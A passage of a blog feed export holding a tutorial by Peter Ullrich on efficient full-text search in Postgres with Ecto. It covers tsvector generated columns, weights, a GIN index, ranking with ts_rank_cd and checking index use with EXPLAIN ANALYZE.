&lt;p&gt;And that&apos;s it! I hope you enjoyed this article! If you have questions or comments, let&apos;s discuss them on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt;. Follow me on &lt;a href=&quot;https://bsky.app/profile/peterullrich.com&quot;&gt;BlueSky&lt;/a&gt; or subscribe to my newsletter below if you want to get notified when I publish the next blog post.&lt;/p&gt;</content>
    <author>
      <name>Peter Ullrich</name>
    </author>
    <link href="https://peterullrich.com/simulate-latency-jitter-and-package-loss-in-phoenix-live-view"/>
    <id>https://peterullrich.com/simulate-latency-jitter-and-package-loss-in-phoenix-live-view</id>
    <title>Simulate Latency, Jitter, and Package Loss in Phoenix LiveView</title>
    <updated>2022-11-13T10:00:00Z</updated>
  </entry>
  <entry>
    <content type="html">&lt;p&gt;Before we begin, my apologies for the delay in publishing this article. This year&apos;s flu season hit me pretty hard. But being sick reminded me of an odd experience I made recently:&lt;/p&gt;
&lt;pre id=&quot;code-block-0&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-plaintext&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;Someone called me on my phone, sneezed, and then hung up.
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;To be honest, I&amp;#39;m getting sick and tired of these cold calls!
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Anyways. Let&apos;s dive into today&apos;s topic: &lt;strong&gt;Efficient full-text search with Postgres and Ecto&lt;/strong&gt;!&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-problem&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-problem&quot;&gt;&lt;/a&gt;The Problem&lt;/h2&gt;
&lt;p&gt;My &lt;a href=&quot;https://peterullrich.com/efficient-name-search-with-postgres-and-ecto&quot;&gt;last article&lt;/a&gt; explained how to search efficiently through short strings in your database, like names or emails. But what if you want to search through longer texts like book summaries, news articles, or your notes? Unfortunately, the methods from the last article - &lt;code&gt;ILIKE&lt;/code&gt; and &lt;code&gt;SIMILARITY&lt;/code&gt; - aren&apos;t efficient enough for longer texts. They scan the entire content from start to end, which is too slow.&lt;/p&gt;
&lt;p&gt;That&apos;s exactly where Postgres&apos; &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch.html&quot;&gt;full-text search&lt;/a&gt; comes in handy. It allows you to break down long texts into a list of keywords, called &lt;a href=&quot;https://www.postgresql.org/docs/current/datatype-textsearch.html#DATATYPE-TSVECTOR&quot;&gt;tsvector&lt;/a&gt;, and search through them efficiently using &lt;a href=&quot;https://www.postgresql.org/docs/current/datatype-textsearch.html#DATATYPE-TSQUERY&quot;&gt;tsquery&lt;/a&gt;. So, instead of scanning the entire text of every book, Postgres only compares normalized lists of keywords with each other. This sounds pretty abstract, so let&apos;s have a look at how these two components work.&lt;/p&gt;
&lt;h2&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#the-short-solution&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;the-short-solution&quot;&gt;&lt;/a&gt;The (short) Solution&lt;/h2&gt;
&lt;p&gt;This article is quite long, so here&apos;s a sneak peek of the final result, &lt;strong&gt;for texts in one language only&lt;/strong&gt;. Multi-language support is much more complex. So, if you need that, please keep on reading. Let&apos;s say we have a model called &lt;code&gt;Book&lt;/code&gt; that contains a title and a summary of a book. Here&apos;s the migration to create the &lt;code&gt;books&lt;/code&gt; table:&lt;/p&gt;
&lt;pre id=&quot;code-block-1&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;up&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;create&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:books&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:title&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;add&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:summary&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;:text&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;    ALTER TABLE books
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      ADD COLUMN searchable tsvector
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;      GENERATED ALWAYS AS (
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        setweight(to_tsvector(&amp;#39;english&amp;#39;, coalesce(title, &amp;#39;&amp;#39;)), &amp;#39;A&amp;#39;) ||
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;        setweight(to_tsvector(&amp;#39;english&amp;#39;, coalesce(summary, &amp;#39;&amp;#39;)), &amp;#39;B&amp;#39;)
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;      ) STORED;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;execute&lt;/span&gt; &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;&quot;&quot;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;    CREATE INDEX books_searchable_idx ON books USING gin(searchable);
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &quot;&quot;&quot;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;20&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;21&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;down&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;22&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;drop&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;table&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;:books&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;23&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here&apos;s how to search for text in the books table:&lt;/p&gt;
&lt;pre id=&quot;code-block-2&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;def&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;search&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;do&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;    &lt;span style=&quot;color: #d2a8ff;&quot;&gt;from&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;b&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;in&lt;/span&gt; &lt;span style=&quot;color: #ffa657;&quot;&gt;Book&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;where:
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;&lt;/span&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;searchable @@ websearch_to_tsquery(?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;9&quot;&gt;      &lt;span style=&quot;color: #79c0ff;&quot;&gt;order_by: &lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;10&quot;&gt;        &lt;span style=&quot;color: #79c0ff;&quot;&gt;:desc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;11&quot;&gt;        &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;12&quot;&gt;          &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ts_rank_cd(searchable, websearch_to_tsquery(?), 4)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;13&quot;&gt;          &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;14&quot;&gt;        &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;15&quot;&gt;      &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;16&quot;&gt;    &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;17&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;18&quot;&gt;  &lt;span style=&quot;color: #ffa657;&quot;&gt;Repo&lt;/span&gt;&lt;span style=&quot;color: #79c0ff;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;all&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;query&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;19&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;end&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Okay, let&apos;s walk through the code, starting with the migration.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#understanding-the-migration&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;understanding-the-migration&quot;&gt;&lt;/a&gt;Understanding the Migration&lt;/h3&gt;
&lt;p&gt;Have a look at the first &lt;code&gt;execute&lt;/code&gt; statement. On a high level, it extracts a list of keywords from the title and the summary fields, gives them different weights, and stores them in a new column called &lt;code&gt;searchable&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Now, in detail: The first step of implementing full-text search is to convert all texts into &lt;a href=&quot;https://www.postgresql.org/docs/current/datatype-textsearch.html#DATATYPE-TSVECTOR&quot;&gt;tsvectors&lt;/a&gt;. In short, &lt;code&gt;tsvectors&lt;/code&gt; are sorted lists of keywords that were extracted and normalized from long texts. They help to reduce long texts into a much more searchable data structure. More on them later.&lt;/p&gt;
&lt;p&gt;We generate these &lt;code&gt;tsvectors&lt;/code&gt; by calling &lt;code&gt;to_tsvector(&apos;english&apos;, coalesce(title, &apos;&apos;))&lt;/code&gt;. The &lt;code&gt;coalesce&lt;/code&gt; function replaces any empty fields with an empty string since &lt;code&gt;to_tsvector&lt;/code&gt; can&apos;t handle &lt;code&gt;NULL&lt;/code&gt; values. &lt;code&gt;tsvectors&lt;/code&gt; depend on the language of a text for applying their normalization. In our case, we defined the language of the text as &lt;code&gt;English&lt;/code&gt;. Postgres doesn&apos;t support all languages by default, but you can &lt;a href=&quot;https://stackoverflow.com/a/32082655/4138739&quot;&gt;add&lt;/a&gt; your own language too. You can check which languages your Postgres instance supports by running:&lt;/p&gt;
&lt;pre id=&quot;code-block-3&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; cfgname &lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt; pg_catalog&lt;span style=&quot;color: #e6edf3;&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;pg_ts_config&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we want to prioritize books that have the search term in their title. For example, if we search for books about &lt;code&gt;Elixir&lt;/code&gt;, we want to see &lt;code&gt;Elixir in Action&lt;/code&gt; first and &lt;code&gt;Seven Languages in Seven Weeks&lt;/code&gt; second since the first book contains our search term in its title whereas the second one only mentions the search term somewhere deep in its content.&lt;/p&gt;
&lt;p&gt;We can give different &lt;code&gt;tsvectors&lt;/code&gt; different weights by using the &lt;code&gt;setweight(tsvector, weight)&lt;/code&gt; function. Postgres offers four different weights: &lt;code&gt;A -&gt; B -&gt; C -&gt; D&lt;/code&gt; where &lt;code&gt;A&lt;/code&gt; is the highest. By default, these weights are set to: &lt;code&gt;1.0, 0.4, 0.2, 0.1&lt;/code&gt;. Postgres multiplies these with the &lt;code&gt;rank&lt;/code&gt; of a search result to adjust their position in the overall ranking (more on ranking search results later). In our case, we want the &lt;code&gt;title&lt;/code&gt; field to have the highest weight. So, we use &lt;code&gt;setweight(to_tsvector(...), &apos;A&apos;)&lt;/code&gt; to give it the &lt;code&gt;A&lt;/code&gt; weight.&lt;/p&gt;
&lt;p&gt;After creating the tsvectors and weighting them, we store them in an auto-generated column called &lt;code&gt;searchable&lt;/code&gt;. Postgres will automatically generate a value for this field whenever you insert a book or update its title or summary.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;This field isn&apos;t strictly necessary&lt;/strong&gt;. If you worry about storing too much data, you can omit the &lt;code&gt;execute&lt;/code&gt; statement for this field and replace &lt;code&gt;searchable&lt;/code&gt; in your index and query with the value behind the &lt;code&gt;AS&lt;/code&gt; operator, so the &lt;code&gt;setweight(...) || setweight(...)&lt;/code&gt; operation.&lt;/p&gt;
&lt;p&gt;Now, the second &lt;code&gt;execute&lt;/code&gt; statement in our migration creates a &lt;code&gt;GIN&lt;/code&gt; index for the &lt;code&gt;searchable&lt;/code&gt; field. &lt;strong&gt;This is what makes our full-text search efficient&lt;/strong&gt; because it allows Postgres to find matching books in a highly-optimized data structure instead of having to scan through every row. You can read more about indexes &lt;a href=&quot;https://www.postgresql.org/docs/current/indexes-types.html&quot;&gt;here&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;Now that we understand our migration and how it makes the full-text search efficient, let&apos;s have a look at how to query for books.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#understanding-the-query&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;understanding-the-query&quot;&gt;&lt;/a&gt;Understanding the Query&lt;/h3&gt;
&lt;p&gt;Our query has two steps.&lt;/p&gt;
&lt;pre id=&quot;code-block-4&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Step 1: Filter for books that match our query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;where&lt;/span&gt;: &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;searchable @@ websearch_to_tsquery(?)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;We use the &lt;code&gt;fragment&lt;/code&gt; function here to execute raw &lt;code&gt;SQL&lt;/code&gt; code. The &lt;code&gt;websearch_to_tsquery&lt;/code&gt; function sanitizes and normalizes our user input and makes it safe to expose the full-text search to our end users. It returns a &lt;code&gt;tsquery&lt;/code&gt; which is also a sorted list of keywords like &lt;code&gt;tsvector&lt;/code&gt; but allows us to add search modifiers like &lt;code&gt;AND&lt;/code&gt;, &lt;code&gt;OR&lt;/code&gt;, &lt;code&gt;NOT&lt;/code&gt;, and &lt;code&gt;FOLLOWED BY&lt;/code&gt; (more on those later). Using the &lt;code&gt;@@&lt;/code&gt; operator, we check whether the &lt;code&gt;tsvector&lt;/code&gt; in the &lt;code&gt;searchable&lt;/code&gt; field matches our &lt;code&gt;tsquery&lt;/code&gt;. Postgres returns only those books that match our query.&lt;/p&gt;
&lt;pre id=&quot;code-block-5&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-elixir&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;# Step 2: Sort the matching books by their rank/relevance.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #d2a8ff;&quot;&gt;order_by&lt;/span&gt;: &lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;lbrace;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;  &lt;span style=&quot;color: #79c0ff;&quot;&gt;:desc&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;  &lt;span style=&quot;color: #d2a8ff;&quot;&gt;fragment&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;    &lt;span style=&quot;color: #a5d6ff;&quot;&gt;&quot;ts_rank_cd(searchable, websearch_to_tsquery(?), 4)&quot;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;,&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;    &lt;span style=&quot;color: #79c0ff;&quot;&gt;^&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;search_term&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;  &lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;&amp;rbrace;&lt;/span&gt;
&lt;/div&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Next, we sort the matching books based on their &lt;code&gt;rank&lt;/code&gt; so that the most relevant books appear at the top. The &lt;code&gt;ts_rank_cd&lt;/code&gt; function &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-controls.html#TEXTSEARCH-RANKING&quot;&gt;calculates&lt;/a&gt;:&lt;/p&gt;
&lt;ol&gt;
&lt;li&gt;how often search terms appear in the document (frequency)&lt;/li&gt;
&lt;li&gt;how close together the search terms are in the document (proximity)&lt;/li&gt;
&lt;li&gt;how important is the section of the document where the search terms appear (priority)&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;So, a book that contains a search term multiple times, close together, and in its title has a higher rank than a book that contains the search term only a few times, far apart, and in an unimportant section, for example, the appendix.&lt;/p&gt;
&lt;p&gt;One note about the number &lt;code&gt;4&lt;/code&gt; here: When ranking documents, it is important to take their length into account. A long book will include a search term more often than a short essay just by chance. That doesn&apos;t make it more relevant though. You can adjust the rank for the length of a document by providing a &lt;a href=&quot;https://www.postgresql.org/docs/current/textsearch-controls.html#TEXTSEARCH-RANKING&quot;&gt;normalization factor&lt;/a&gt;. In this example, we used &lt;code&gt;4&lt;/code&gt;, which divides the rank by the average distance between the matching search terms. So, an essay with only a few matches that occur close together now receives a higher rank than a long book with more matches, but far apart.&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Relevant ranking depends heavily on your type of data, so please play around with the normalization factor and the weights until the ranking becomes useful to you.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Be aware that ranking will slow down your query because it needs to visit the tsvector of every matching document to calculate the rank of the document. Unfortunately, there&apos;s no good way around it. You can improve this downside by limiting how many documents you return from the query though.&lt;/p&gt;
&lt;p&gt;And that&apos;s our query! It returns all books that match our search terms ranked by their &quot;relevance&quot;.&lt;/p&gt;
&lt;h3&gt;&lt;a tabindex=&quot;-1&quot; href=&quot;#testing-your-setup&quot; aria-hidden=&quot;true&quot; class=&quot;anchor&quot; id=&quot;testing-your-setup&quot;&gt;&lt;/a&gt;Testing your setup&lt;/h3&gt;
&lt;p&gt;Before you push this code to production, make sure that your GIN index is used. Otherwise, your full-text search will be &lt;strong&gt;slow&lt;/strong&gt;. You can check this by running your query in your favorite Postgres explorer and prefixing it with &lt;code&gt;EXPLAIN ANALYZE&lt;/code&gt;. For example, you can setup and run the following query:&lt;/p&gt;
&lt;pre id=&quot;code-block-6&quot; phx-hook=&quot;CopyToClipboard&quot; phx-update=&quot;ignore&quot; class=&quot;lumis&quot; style=&quot;color: #e6edf3; background-color: #0d1117;&quot;&gt;&lt;code class=&quot;language-sql&quot; translate=&quot;no&quot; tabindex=&quot;0&quot;&gt;&lt;div class=&quot;line&quot; data-line=&quot;1&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- If you have only a few books in our database, force Postgres&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;2&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- to use the index. Otherwise, it falls back to a sequence scan&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;3&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- because that&amp;#39;s faster than using an index for only a few rows.&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;4&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;SET&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;enable_seqscan&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;=&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;OFF&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;5&quot;&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;6&quot;&gt;&lt;span style=&quot;color: #8b949e;&quot;&gt;-- The example query&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;7&quot;&gt;&lt;span style=&quot;color: #ff7b72;&quot;&gt;EXPLAIN&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;ANALYZE&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;SELECT&lt;/span&gt; &lt;span style=&quot;color: #79c0ff;&quot;&gt;*&lt;/span&gt; &lt;span style=&quot;color: #ff7b72;&quot;&gt;FROM&lt;/span&gt; &lt;span style=&quot;color: #e6edf3;&quot;&gt;books&lt;/span&gt;
&lt;/div&gt;&lt;div class=&quot;line&quot; data-line=&quot;8&quot;&gt;  &lt;span style=&quot;color: #ff7b72;&quot;&gt;WHERE&lt;/span&gt; searchable &lt;span style=&quot;color: #79c0ff;&quot;&gt;@@&lt;/span&gt; &lt;span style=&quot;color: #d2a8ff;&quot;&gt;websearch_to_tsquery&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color: #a5d6ff;&quot;&gt;&amp;#39;prince&amp;#39;&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color: #e6edf3;&quot;&gt;;&lt;/span&gt;
